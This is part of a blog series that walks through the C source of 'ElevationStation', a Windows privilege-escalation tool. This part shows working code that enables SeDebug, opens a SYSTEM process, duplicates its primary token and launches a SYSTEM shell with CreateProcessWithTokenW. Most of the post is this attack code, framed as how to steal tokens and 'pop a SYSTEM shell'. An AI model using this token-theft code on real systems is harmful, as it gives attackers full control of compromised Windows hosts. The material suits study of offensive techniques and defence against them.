ElevationStation - A walk through the development process [PART 2]
Hello again Infosec enthusiasts! Last time we talked, we discussed enabling token privileges for our current process so we can remotely access other processes via the SeDebug privilege. Let’s continue on through the code shall we 😃
For review, we are here in the code:
int DupProcessToken(DWORD pid)
{
//enable ALL necessary privs!!!
➡️ setProcessPrivs(SE_DEBUG_NAME); ⬅️
//priv enable routine complete
BOOL bRet;
So we’ve successfully set our process privileges. Now, let’s steal the SYSTEM
token we desire from our target process shall we? To do so, we first need to open the remote process and get a handle on the remote process token. Interestingly and favourably for us, we can open a remote SYSTEM
process using the lowest level of desired access permitted, PROCESS_QUERY_LIMITED_INFORMATION
, like so:
proc2 = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!proc2)
{
Color(14);
printf("[!] There was a permissions error opening process: %d w/ requested access...: %d\n", pid, GetLastError());
Color(7);
exit(0);
}
if (!OpenProcessToken(proc2, MAXIMUM_ALLOWED, &tok2))
{
Color(14);
printf("[!] There was a permissions error applying the requested access to the token: %d\n", GetLastError());
Color(7);
exit(0);
}
Next, we duplicate the token aquired in our token HANDLE and now we have an exact replica of the SYSTEM
process token with all it’s glorious privileges!
if (!DuplicateTokenEx(tok2, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hNewToken))
{
Color(14);
wprintf(L"[!] DuplicateTokenEx failed. Error: %d\n", GetLastError());
Color(7);
}
else
{
Color(2);
printf("[+] DuplicateTokenEx success!!!\n");
Color(7);
}
BEFORE
Duplicating Token:
and AFTER
duplicating the token. Notice a strikingly noteworthy difference? 😸
Our elevationstation.exe
process now OWNS a primary token with SYSTEM
privileges, successfully duplicating the remote SYSTEM
level process! Now the moment you have all been waiting for… it’s finally time to pop a SYSTEM shell!
bRet = CreateProcessWithTokenW(hNewToken, NULL, NULL, wszProcessName, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &StartupInfo, &ProcInfo);
if (bRet == 0)
{
Color(14);
printf("[!] CreateProcessWithToken didn't cooperate...permissions maybe???\n");
Color(7);
printf("Return value: %d\n", GetLastError());
}
else
{
Color(2);
printf("[+] CreateProcessWithToken worked!!!\n");
Color(7);
printf("Return value: %d\n", bRet);
fflush(stdout);
WaitForSingleObject(ProcInfo.hProcess, INFINITE);
}
CloseHandle(hNewToken);
CloseHandle(proc2);
CloseHandle(tok2);
And there you have it friends. This concludes part 2 of our series explaining ElevationStation and the code behind how it works. This portion of the series has only explained stealing primary tokens from a process. Next time, I’ll walk you through stealing a remote process impersonation THREAD
token and “converting” it to a primary token to gain a SYSTEM shell within your current shell, avoiding the headache of having to deal with CreateProcessWithToken’s limitations 😆
bye!
Leave a comment